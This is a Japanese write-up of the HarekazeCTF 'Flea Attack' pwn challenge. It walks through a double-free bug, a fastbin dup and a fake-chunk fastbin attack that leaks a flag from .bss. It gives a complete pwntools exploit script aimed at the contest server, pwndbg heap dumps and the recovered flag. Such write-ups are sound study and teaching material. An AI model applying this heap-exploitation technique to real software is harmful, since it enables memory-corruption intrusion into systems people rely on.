Flea Attack(Pwn, 200 points)
.bssにフラグ文字列が格納されていて、それを何とかして読む問題。(シェルまで取ってるwriteupもありましたが)
double free(どこでもfree)ができるということで、昨年の「SECCON Beginners NEXT 2017 東京」のPwnableでやってたFastbin DupからのFastbin unlink attackが使えるぞと脊髄反射して取り組んだわけですが、あとでkusano_kさんのwriteupを読んで「はぁ~、すごくシンプル。。」と感動した次第。
動作概要
- 最初にコメントを登録する
- 以降、nameを追加したり削除したりする
- nameを追加したとき、追加したnameの文字列とその格納アドレスが返る
- nameを削除するときはその格納アドレスを入力する
# ./flea_attack.elf
Some comment this note:hoge
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: AAAA
Done!
Name: AAAA
Addr: 19d1250
1. Add name
2. Delete name
3. Exit
> 1
Size: 20
Name: BBBB
Done!
Name: BBBB
Addr: 19d1270
1. Add name
2. Delete name
3. Exit
> 2
Addr: 19d1250
Done!
1. Add name
2. Delete name
3. Exit
> Invalid
1. Add name
2. Delete name
3. Exit
> 3
Bye.
脆弱点
関数del_name内(0x2013ca~0x2013f1あたり)にdouble free(どこでもfree?)の脆弱性がある。
考察
- Add nameした後に、追加したnameが返る機能を利用して、フラグ文字列を表示させる
- そのためには.bssにあるフラグ文字列格納アドレス(flag: 0x204080)の少し前にname格納領域(偽チャンク)を確保して、0x204080-1までNULLを含まない適当な文字列で埋める必要がある
- 上記のような偽チャンクを確保するために、Fastbin DupからのFastbin unlink attackを使う
- Fastbin unlink attackを成功させるためには、Fastbin DupによってfastbinsY[n]につながれたチャンクたちのsizeと偽チャンクのsizeを同じにしておく必要がある
- .bssにおいてコメント格納領域(comment: 0x204000)とflag(0x204080)が隣接していることから、コメント内容に偽チャンクのヘッダ部分を入れておく
- コメントを受け取る関数(gets_comment)は基本的に、「入力文字列に0xaか0x0が来るまでreadし続け、0x0は0xaに変換する。0xaの次のバイトを0x0に設定する。(original_fgets(0x201170)内)」という動きをするため、どうしてもコメントの終端に0xaが入ってしまう?
- コメント文字数が0x5fの場合は上記変換処理が行われないのでパスできる
- コメントの0x5f文字目を偽チャンクのsize部分下位1バイトとすると、偽チャンクの先頭アドレスは0x204056となる
- 先頭アドレス0x204056のチャンクのデータ部分がflag(0x204080)まで達するためにはチャンクサイズとして0x30以上が必要
方針
- コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する
- サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる
- サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む
- サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている
- 再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める
exploit
from pwn import *
context.log_level = 'INFO'
target = 'problem.harekaze.com'
port = 20175
conn = remote(target, port)
def add(size, name):
conn.sendlineafter('> ', '1')
conn.sendlineafter('Size: ', str(size))
conn.sendlineafter('Name: ', str(name))
conn.recvuntil('Done!\n')
conn.recvuntil('Name: ')
res_name = conn.recvuntil('\nAddr: ', True)
res_addr = conn.recvuntil('\n', True)
return [res_name, res_addr]
def delete(addr):
conn.sendlineafter('> ', '2')
conn.sendlineafter('Addr: ', addr)
conn.recvuntil('Done!\n')
flag_addr = 0x204080
fake_addr = 0x204056
payload = ''
payload += 'A' * (0x58 + 6)
payload += p8(0x31)
conn.sendafter('note:', payload)
fb0 = add(0x20, 'A'*8)
fb1 = add(0x20, 'A'*8)
delete(fb0[1])
delete(fb1[1])
delete(fb0[1])
add(0x20, p64(fake_addr))
add(0x20, 'A'*8)
add(0x20, 'A'*8)
flag = add(0x20, 'A'*(0x18 + 1))[0]
print flag
conn.close()
検証メモ
1.
コメントの入力文字数を0x5fとし、0x5f文字目に偽チャンクのsize(0x31)を設定する
pwndbg> x/16gx 0x204056
0x204056 <comment+86>: 0x4141414141414141 0x0000000000000031
0x204066 <comment+102>: 0x0000000000000000 0x0000000000000000
0x204076 <comment+118>: 0x0000000000000000 0x616b657261480000
0x204086 <flag+6>: 0x6d357b465443657a 0x6c616d735f6c3134
0x204096 <flag+22>: 0x635f616531665f31 0x375f6c6f72376e30
0x2040a6 <flag+38>: 0x646c7230775f3368 0x000000000000007d
2.
サイズが0x30のチャンクを2つ確保(fb0, fb1)してfb0->fb1->fb0の順にfreeし、Fastbin Dupを成立させる
pwndbg> x/16gx 0x6b6240
0x6b6240: 0x0000000000000000 0x0000000000000031
0x6b6250: 0x00000000006b6270 0x000000000000000a
0x6b6260: 0x0000000000000000 0x0000000000000000
0x6b6270: 0x0000000000000000 0x0000000000000031
0x6b6280: 0x00000000006b6240 0x000000000000000a
0x6b6290: 0x0000000000000000 0x0000000000000000
0x6b62a0: 0x0000000000000000 0x000000000001fd61
0x6b62b0: 0x0000000000000000 0x0000000000000000
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x6b6240 --> 0x6b6270 --> 0x6b6240 (overlap chunk with 0x6b6240(freed) )
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6b62a0 (size : 0x1fd60)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
3.
サイズが0x30のチャンクをmallocするとfb0が返るので、fb0->fd部分に偽チャンクの先頭アドレス(0x204056)を書き込む
pwndbg> x/16gx 0x6b6240
0x6b6240: 0x0000000000000000 0x0000000000000031
0x6b6250: 0x0000000000204056 0x000000000000000a
0x6b6260: 0x0000000000000000 0x0000000000000000
0x6b6270: 0x0000000000000000 0x0000000000000031
0x6b6280: 0x00000000006b6240 0x000000000000000a
0x6b6290: 0x0000000000000000 0x0000000000000000
0x6b62a0: 0x0000000000000000 0x000000000001fd61
0x6b62b0: 0x0000000000000000 0x0000000000000000
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x6b6270 --> 0x6b6240 --> 0x204056 --> 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6b62a0 (size : 0x1fd60)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
4.
サイズが0x30のチャンクを2回mallocすると、次に返るサイズ0x30のチャンクは偽チャンクとなっている
pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x204056 --> 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
top: 0x6b62a0 (size : 0x1fd60)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
5.
再度サイズが0x30のチャンクをmallocすると偽チャンクが返る(Fastbin unlink attack成立)ので、そのデータ部分をflag(0x204080)直前までNULL以外の文字列で埋める
pwndbg> x/16gx 0x204056
0x204056 <comment+86>: 0x4141414141414141 0x0000000000000031
0x204066 <comment+102>: 0x4141414141414141 0x4141414141414141
0x204076 <comment+118>: 0x4141414141414141 0x616b657261480a41
0x204086 <flag+6>: 0x6d357b465443657a 0x6c616d735f6c3134
0x204096 <flag+22>: 0x635f616531665f31 0x375f6c6f72376e30
0x2040a6 <flag+38>: 0x646c7230775f3368 0x000000000000007d
[+] Opening connection to problem.harekaze.com on port 20175: Done
AAAAAAAAAAAAAAAAAAAAAAAAA
HarekazeCTF{5m41l_smal1_f1ea_c0n7rol_7h3_w0rld}